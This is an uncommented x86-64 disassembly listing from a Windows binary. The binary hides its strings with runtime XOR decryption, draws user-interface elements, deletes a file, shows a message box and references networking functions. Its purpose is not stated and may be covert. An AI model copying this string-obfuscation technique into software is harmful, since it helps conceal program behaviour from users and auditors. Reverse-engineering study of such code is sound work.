movsd qword [rbp - 0x40], xmm0
mov byte [rbp - 0x40], 0x45
xor byte [rbp - 0x3f], 0x39
xor byte [rbp - 0x3e], 0x3a
xor byte [rbp - 0x3d], 0x3b
xor byte [rbp - 0x3c], 0x3c
xor byte [rbp - 0x3b], 0x3d
xor byte [rbp - 0x3a], 0x3e
xor byte [rbp - 0x39], 0x3f
xor al, 0x40
mov byte [rbp - 0x38], al
movaps xmm0, xmmword [0x140116290]
movups xmmword [rbp + 0xa98], xmm0
lea rcx, [rbp + 0xa98]
call fcn.1400047d0
mov r8d, eax
movss dword [rbp + 0x3b0], xmm13
movss dword [rbp + 0x3b4], xmm7
test eax, 0xff000000
je 0x140049564
lea rax, [rbp - 0x40]
mov rcx, r14
inc rcx
cmp byte [rax + rcx], 0
jne 0x1400494e5
lea rdx, [rbp - 0x40]
add rdx, rcx
lea rax, [rbp - 0x40]
cmp rax, rdx
je 0x140049564
test r10, r10
jne 0x14004950b
mov rax, qword [rdi + 0x38]
mov r10, qword [rax + 8]
movups xmm0, xmmword [rdi + 0x88]
movups xmmword [rsp + 0x50], xmm0
mov byte [rsp + 0x48], 0
movss dword [rsp + 0x40], xmm10
mov qword [rsp + 0x38], rdx
lea rax, [rbp - 0x40]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r8d
lea r9, [rbp + 0x3b0]
movaps xmm2, xmm12
mov rdx, rdi
mov rcx, r10
call fcn.14002cd40
mov r10, qword [0x14016ca40]
mov rbx, qword [0x14016c730]
movups xmm0, xmmword [0x140115160]
movups xmmword [rbp + 0x418], xmm0
movsd xmm0, qword [0x140115170]
movsd qword [rbp + 0x428], xmm0
movzx eax, word [0x140115178]
mov word [rbp + 0x430], ax
cmp byte [0x140115179], 0
je 0x140049733
mov r8d, esi
cmp r15d, 2
jl 0x1400496ed
movdqa xmm5, xmmword [0x140116110]
movdqa xmm4, xmmword [0x1401162f0]
movdqa xmm6, xmmword [0x140116140]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x41c]
mov edx, dword [rsp + 0x50]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400495e0
cmp r8d, 0x1a
jge 0x140049733
movsxd rax, r8d
lea r9, [rbp + 0x418]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x140049700
movaps xmm0, xmmword [0x140116250]
movups xmmword [rbp + 0xaa8], xmm0
lea rcx, [rbp + 0xaa8]
call fcn.1400047d0
mov r8d, eax
movss xmm13, dword [rbp + 0xf8]
movaps xmm0, xmm13
movss xmm7, dword [0x140116018]
addss xmm0, xmm7
movss dword [rbp + 0x3d8], xmm8
movss dword [rbp + 0x3dc], xmm0
test eax, 0xff000000
je 0x140049823
lea rax, [rbp + 0x418]
mov rcx, r14
nop
inc rcx
cmp byte [rax + rcx], 0
jne 0x140049790
lea rdx, [rbp + 0x418]
add rdx, rcx
lea rax, [rbp + 0x418]
cmp rax, rdx
je 0x140049823
test r10, r10
jne 0x1400497bc
mov rax, qword [rdi + 0x38]
mov r10, qword [rax + 8]
movups xmm0, xmmword [rdi + 0x88]
movups xmmword [rsp + 0x50], xmm0
mov byte [rsp + 0x48], 0
movss dword [rsp + 0x40], xmm10
mov qword [rsp + 0x38], rdx
lea rax, [rbp + 0x418]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r8d
lea r9, [rbp + 0x3d8]
movss xmm12, dword [0x140115fe8]
movaps xmm2, xmm12
mov rdx, rdi
mov rcx, r10
call fcn.14002cd40
mov r10, qword [0x14016ca40]
mov rbx, qword [0x14016c730]
jmp 0x14004982c
movss xmm12, dword [0x140115fe8]
mov eax, dword [0x140115190]
mov dword [rbp + 0x108], eax
movzx eax, word [0x140115194]
mov word [rbp + 0x10c], ax
movzx eax, byte [0x140115196]
movsd xmm0, qword [str.yLNSYSJV_6F]
mov byte [rbp + 0x10e], al
movsd qword [rbp + 0x100], xmm0
mov r8d, esi
cmp r15d, 2
jl 0x140049980
movdqa xmm4, xmmword [0x1401162f0]
movdqa xmm2, xmmword [0x140116110]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140116140]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.yLNSYSJV_6F]
xorps xmm2, xmm0
movd dword [rbp + 0x100], xmm2
movdqa xmm3, xmmword [0x140116130]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140116140]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x104]
xorps xmm2, xmm1
movd dword [rbp + 0x104], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x100]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x140049990
movaps xmm0, xmmword [0x1401162b0]
movups xmmword [rbp + 0xab8], xmm0
lea rcx, [rbp + 0xab8]
call fcn.1400047d0
mov r8d, eax
movss xmm8, dword [rbp + 0xf0]
movaps xmm0, xmm8
addss xmm0, xmm13
subss xmm0, dword [0x14011605c]
movss dword [rbp + 0x3d0], xmm11
movss dword [rbp + 0x3d4], xmm0
test eax, 0xff000000
je 0x140049aa5
lea rcx, [rbp + 0x100]
mov rax, r14
inc rax
cmp byte [rcx + rax], 0
jne 0x140049a20
lea rcx, [rbp + 0x100]
add rcx, rax
lea rax, [rbp + 0x100]
cmp rax, rcx
je 0x140049aa5
test r10, r10
jne 0x140049a4c
mov rax, qword [rdi + 0x38]
mov r10, qword [rax + 8]
movups xmm0, xmmword [rdi + 0x88]
movups xmmword [rsp + 0x50], xmm0
mov byte [rsp + 0x48], 0
movss dword [rsp + 0x40], xmm10
mov qword [rsp + 0x38], rcx
lea rax, [rbp + 0x100]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r8d
lea r9, [rbp + 0x3d0]
movss xmm2, dword [0x140115ff0]
mov rdx, rdi
mov rcx, r10
call fcn.14002cd40
mov rbx, qword [0x14016c730]
movaps xmm0, xmm8
subss xmm0, dword [0x140116048]
mov rax, qword [rbx + 0x4000]
mov byte [rax + 0xc0], 1
mov rax, qword [rbx + 0x4000]
movss xmm2, dword [rax + 0x2c]
subss xmm2, dword [rax + 0x90]
addss xmm2, xmm0
movaps xmm1, xmm15
mulss xmm1, xmm9
movss xmm6, dword [0x140116030]
subss xmm1, xmm6
movss xmm0, dword [rax + 0x28]
subss xmm0, dword [rax + 0x8c]
addss xmm1, xmm0
movss dword [rax + 0x110], xmm1
movss dword [rax + 0x114], xmm2
mov byte [rax + 0x151], 1
or dword [rbx + 0x4990], 1
mov dword [rbx + 0x49a0], 0x437a0000
movsd xmm0, qword [0x140115a28]
movsd qword [rbp + 0x270], xmm0
mov eax, dword [0x140115a30]
mov dword [rbp + 0x278], eax
movzx eax, word [0x140115a34]
mov word [rbp + 0x27c], ax
cmp byte [0x140115a35], 0
je 0x140049cc3
mov r8d, esi
cmp r15d, 2
jl 0x140049c79
movdqa xmm4, xmmword [0x1401162f0]
movdqa xmm2, xmmword [0x140116110]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140116140]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140115a28]
xorps xmm2, xmm0
movd dword [rbp + 0x270], xmm2
movdqa xmm3, xmmword [0x140116130]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140116140]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x274]
xorps xmm2, xmm1
movd dword [rbp + 0x274], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x270]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140049c90
mov qword [rbp + 0x3c8], 0
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
lea rax, [rbp + 0x3c8]
mov qword [rsp + 0x20], rax
mov r9d, 0xff
lea r13, [0x14016c740]
mov r8, r13
xor edx, edx
lea rcx, [rbp + 0x270]
call fcn.140033e20
movaps xmm0, xmm8
subss xmm0, dword [0x14011603c]
mov rcx, qword [0x14016c730]
mov rax, qword [rcx + 0x4000]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4000]
movss xmm2, dword [rax + 0x2c]
subss xmm2, dword [rax + 0x90]
addss xmm2, xmm0
movss xmm1, dword [rax + 0x28]
subss xmm1, dword [rax + 0x8c]
movaps xmm0, xmm15
mulss xmm0, xmm9
subss xmm0, xmm6
addss xmm1, xmm0
movss dword [rax + 0x110], xmm1
movss dword [rax + 0x114], xmm2
mov byte [rax + 0x151], 1
or dword [rcx + 0x4990], 1
mov dword [rcx + 0x49a0], 0x437a0000
movsd xmm0, qword [0x1401152c0]
movsd qword [rbp + 0x1b0], xmm0
mov eax, dword [0x1401152c8]
mov dword [rbp + 0x1b8], eax
movzx eax, word [0x1401152cc]
mov word [rbp + 0x1bc], ax
cmp byte [0x1401152cd], 0
je 0x140049f23
mov r8d, esi
cmp r15d, 2
jl 0x140049ed9
movdqa xmm4, xmmword [0x1401162f0]
movdqa xmm2, xmmword [0x140116110]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140116140]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x1401152c0]
xorps xmm2, xmm0
movd dword [rbp + 0x1b0], xmm2
movdqa xmm3, xmmword [0x140116130]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140116140]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1b4]
xorps xmm2, xmm1
movd dword [rbp + 0x1b4], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x1b0]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140049ef0
mov qword [rbp + 0x3c0], 0
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x8000
lea rax, [rbp + 0x3c0]
mov qword [rsp + 0x20], rax
mov r9d, 0xff
lea r12, [0x14016c940]
mov r8, r12
xor edx, edx
lea rcx, [rbp + 0x1b0]
call fcn.140033e20
movaps xmm2, xmm8
subss xmm2, dword [0x140116028]
mov rcx, qword [0x14016c730]
mov rax, qword [rcx + 0x4000]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4000]
movss xmm0, dword [rax + 0x2c]
subss xmm0, dword [rax + 0x90]
addss xmm2, xmm0
movss xmm1, dword [rax + 0x28]
subss xmm1, dword [rax + 0x8c]
mulss xmm15, xmm9
subss xmm15, xmm6
addss xmm1, xmm15
movss dword [rax + 0x110], xmm1
movss dword [rax + 0x114], xmm2
mov byte [rax + 0x151], 1
mov dword [rbp + 0x3b8], 0x437a0000
mov dword [rbp + 0x3bc], 0x42340000
mov eax, dword [str.tvrr]
mov dword [rbp + 0x28], eax
movzx eax, word [0x140115e04]
mov word [rbp + 0x2c], ax
mov byte [rbp + 0x28], Ordinal_79
xor byte [rbp + 0x29], 0x39
xor byte [rbp + 0x2a], 0x3a
xor byte [rbp + 0x2b], 0x3b
xor al, 0x3c
mov byte [rbp + 0x2c], al
xor byte [rbp + 0x2d], 0x3d
lea rdx, [rbp + 0x3b8]
lea rcx, [rbp + 0x28]
call fcn.140030570
test al, al
je 0x14004ab86
mov rdi, qword [0x14016cda8]
lea rbx, [0x14016cd98]
cmp qword [0x14016cdb0], 0xf
cmova rbx, qword [0x14016cd98]
call fcn.1400c22e8
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], rdi
lea r8, [rsp + 0x50]
mov edx, eax
lea rcx, [rbp + 0x698]
call fcn.14003dbb0
nop
lea rcx, [rbp + 0x698]
call fcn.14003e650
movzx ebx, al
mov rdx, qword [rbp + 0x6b0]
cmp rdx, 7
jbe 0x14004a0c5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x698]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004a0c0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004ab5e
call fcn.1400c146c
movdqa xmm0, xmmword [0x1401160c0]
movdqu xmmword [rbp + 0x6a8], xmm0
mov word [rbp + 0x698], si
test bl, bl
je 0x14004a0fd
lea rcx, [0x14016cd98]
cmp qword [0x14016cdb0], 0xf
cmova rcx, qword [0x14016cd98]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rax, [rbp + 0x758]
mov qword [rbp + 0xf0], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x758], xmm0
mov qword [rbp + 0x768], rsi
mov qword [rbp + 0x770], rsi
mov r8, r14
inc r8
cmp byte [r12 + r8], 0
jne 0x14004a126
mov rdx, r12
lea rcx, [rbp + 0x758]
call fcn.14004f2f0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x8d8], xmm0
mov qword [rbp + 0x8e8], rsi
mov qword [rbp + 0x8f0], rsi
mov r8, r14
nop dword [rax + rax]
inc r8
cmp byte [r8 + r13], 0
jne 0x14004a160
mov rdx, r13
lea rcx, [rbp + 0x8d8]
call fcn.14004f2f0
nop
lea r8, [rbp + 0x758]
lea rdx, [rbp + 0x8d8]
lea rcx, [0x14016cae0]
call fcn.14006a6d0
lea rax, [rbp + 0x838]
mov qword [rbp + 0xf0], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x838], xmm0
mov qword [rbp + 0x848], rsi
mov qword [rbp + 0x850], rsi
mov r8, r14
nop dword [rax]
inc r8
cmp byte [r12 + r8], 0
jne 0x14004a1c0
mov rdx, r12
lea rcx, [rbp + 0x838]
call fcn.14004f2f0
nop
lea rax, [rbp + 0x878]
mov qword [rbp + 0xf8], rax
movsd xmm0, qword [str.HXIHKRL__]
movsd qword [rbp + 0x48], xmm0
movzx eax, byte [0x140115bc0]
mov byte [rbp + 0x48], reloc.WS2_32.dll_WSASetLastError
xor byte [rbp + 0x49], 0x39
xor byte [rbp + 0x4a], 0x3a
xor byte [rbp + 0x4b], 0x3b
xor byte [rbp + 0x4c], 0x3c
xor byte [rbp + 0x4d], 0x3d
xor byte [rbp + 0x4e], 0x3e
xor byte [rbp + 0x4f], 0x3f
xor al, 0x40
mov byte [rbp + 0x50], al
xorps xmm0, xmm0
movups xmmword [rbp + 0x878], xmm0
mov qword [rbp + 0x888], rsi
mov qword [rbp + 0x890], rsi
lea rax, [rbp + 0x48]
mov r8, r14
inc r8
cmp byte [rax + r8], 0
jne 0x14004a240
lea rdx, [rbp + 0x48]
lea rcx, [rbp + 0x878]
call fcn.14004f2f0
nop
lea rax, [rbp + 0x898]
mov qword [rbp + 0x9e0], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x898], xmm0
mov qword [rbp + 0x8a8], rsi
mov qword [rbp + 0x8b0], rsi
mov r8, r14
inc r8
cmp byte [r8 + r13], 0
jne 0x14004a284
mov rdx, r13
lea rcx, [rbp + 0x898]
call fcn.14004f2f0
nop
lea rax, [rbp + 0x8b8]
mov qword [rbp + 0x9d8], rax
movsd xmm0, qword [str.MJ_IRSZ_]
movsd qword [rbp + 0x38], xmm0
movzx eax, byte [0x140115e48]
mov byte [rbp + 0x38], 0x75
xor byte [rbp + 0x39], 0x39
xor byte [rbp + 0x3a], 0x3a
xor byte [rbp + 0x3b], 0x3b
xor byte [rbp + 0x3c], 0x3c
xor byte [rbp + 0x3d], 0x3d
xor byte [rbp + 0x3e], 0x3e
xor byte [rbp + 0x3f], 0x3f
xor al, 0x40
mov byte [rbp + 0x40], al
xorps xmm0, xmm0
movups xmmword [rbp + 0x8b8], xmm0
mov qword [rbp + 0x8c8], rsi
mov qword [rbp + 0x8d0], rsi
lea rax, [rbp + 0x38]
mov r8, r14
inc r8
cmp byte [rax + r8], 0
jne 0x14004a304
lea rdx, [rbp + 0x38]
lea rcx, [rbp + 0x8b8]
call fcn.14004f2f0
nop
lea rdx, [0x14016cd98]
lea rcx, [rbp + 0xc60]
call fcn.14004c760
nop
lea rcx, [rbp + 0x838]
mov qword [rsp + 0x28], rcx
lea rcx, [rbp + 0x878]
mov qword [rsp + 0x20], rcx
lea r8, [rbp + 0x898]
lea rdx, [rbp + 0x8b8]
mov rcx, rax
call fcn.14003ff00
cmp byte [0x14016ccf0], 0
jne 0x14004a3c8
mov eax, dword [0x1401154fc]
mov dword [rbp + 0x30], eax
movzx eax, word [0x140115500]
mov word [rbp + 0x34], ax
mov byte [rbp + 0x30], 0x45
xor byte [rbp + 0x31], 0x39
xor byte [rbp + 0x32], 0x3a
xor byte [rbp + 0x33], 0x3b
xor al, 0x3c
mov byte [rbp + 0x34], al
xor byte [rbp + 0x35], 0x3d
lea rdx, [0x14016ccf8]
cmp qword [0x14016cd10], 0xf
cmova rdx, qword [0x14016ccf8]
xor r9d, r9d
lea r8, [rbp + 0x30]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov dword [0x14016c738], esi
jmp 0x14004ab81
mov rax, qword [str.pVWS]
mov qword [rbp + 0x118], rax
cmp byte [0x140115bf7], 0
je 0x14004a543
cmp r15d, 2
jl 0x14004a4f9
movdqa xmm4, xmmword [0x1401162f0]
movdqa xmm2, xmmword [0x140116110]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140116140]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x118]
xorps xmm2, xmm1
movd dword [rbp + 0x118], xmm2
movdqa xmm3, xmmword [0x140116130]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140116140]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x11c]
xorps xmm2, xmm1
movd dword [rbp + 0x11c], xmm2
jmp 0x14004a543
lea r9, [rbp + 0x118]
mov r8d, esi
nop dword [rax]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x14004a510
lea rax, [rbp + 0x118]
mov rcx, r14
nop dword [rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x14004a550
mov rdx, qword [0x14016cb90]
movabs rax, 0x7fffffffffffffff
sub rax, rdx
cmp rax, rcx
jb 0x14004afc8
lea rax, [0x14016cb80]
cmp qword [0x14016cb98], 0xf
cmova rax, qword [0x14016cb80]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r9, [rbp + 0x118]
lea r8, [0x14016cb80]
movzx edx, byte [rbp + 0xd88]
lea rcx, [rbp + 0x518]
call fcn.140050ee0
mov rdx, qword [reloc.WS2_32.dll_ntohs]
cmp rdx, 0xf
jbe 0x14004a5fe
mov rcx, qword [0x14016b308]
inc rdx
cmp rdx, 0x1000
jb 0x14004a5f9
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14004a715
mov rcx, r8
call fcn.1400c146c
mov eax, dword [str.N_I_]
mov dword [rbp - 0x78], eax
movups xmm0, xmmword [rbp + 0x518]
movzx eax, word [0x140115e2c]
movups xmmword [0x14016b308], xmm0
mov word [rbp - 0x74], ax
movups xmm1, xmmword [rbp + 0x528]
movdqa xmm0, xmmword [0x1401160e0]
movzx eax, byte [0x140115e2e]
mov byte [rbp + 0x518], 0
movdqu xmmword [rbp + 0x528], xmm0
movups xmmword [0x14016b318], xmm1
mov byte [rbp - 0x78], 0x64
xor byte [rbp - 0x77], 0x39
xor byte [rbp - 0x76], 0x3a
xor byte [rbp - 0x75], 0x3b
xor byte [rbp - 0x74], 0x3c
xor byte [rbp - 0x73], 0x3d
xor al, 0x3e
mov byte [rbp - 0x72], al
xorps xmm0, xmm0
movups xmmword [rbp + 0x678], xmm0
mov qword [rbp + 0x688], rsi
mov qword [rbp + 0x690], rsi
lea rax, [rbp - 0x78]
mov r8, r14
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14004a690
lea rdx, [rbp - 0x78]
lea rcx, [rbp + 0x678]
call fcn.14004f2f0
lea r8, [rbp + 0x678]
lea rdx, [rbp + 0x958]
lea rcx, [0x14016cae0]
call fcn.1400707c0
nop
cmp qword [rax + 0x18], 0xf
jbe 0x14004a6cf
mov rax, qword [rax]
mov rbx, r14
inc rbx
cmp byte [rax + rbx], 0
jne 0x14004a6d2
mov rcx, qword [reloc.WS2_32.dll_ntohs]
cmp rbx, rcx
ja 0x14004a71c
cmp rcx, 0xf
lea rdi, [0x14016b388]
cmova rdi, qword [0x14016b388]
mov qword [0x14016b398], rbx
mov r8, rbx
mov rdx, rax
mov rcx, rdi
call sub.VCRUNTIME140.dll_memmove
mov byte [rdi + rbx], 0
jmp 0x14004a72f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov r9, rax
mov rdx, rbx
lea rcx, [0x14016b388]
call fcn.14004fa10
nop
mov rdx, qword [rbp + 0x970]
cmp rdx, 0xf
jbe 0x14004a770
inc rdx
mov rcx, qword [rbp + 0x958]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004a76b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004ab5e
call fcn.1400c146c
movdqa xmm0, xmmword [0x1401160e0]
movdqu xmmword [rbp + 0x968], xmm0
mov byte [rbp + 0x958], 0
mov rbx, qword [0x14016cc20]
mov rax, qword [0x14016cc28]
sub rax, rbx
sar rax, 6
test rax, rax
je 0x14004af2c
mov rdx, rbx
lea rcx, [rbp + 0xe60]
call fcn.14004c760
nop
lea rdx, [rbx + 0x20]
lea rcx, [rbp + 0xe80]
call fcn.14004c760
nop
lea rdx, [rbp + 0xe80]
lea rcx, [rbp + 0xbd0]
call fcn.14004c760
mov rbx, rax
mov rcx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x14004a7e9
mov rcx, qword [rax]
xor edx, edx
lea r8d, [rdx + 0xa]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtol]
movsxd rdi, eax
mov rdx, qword [rbx + 0x18]
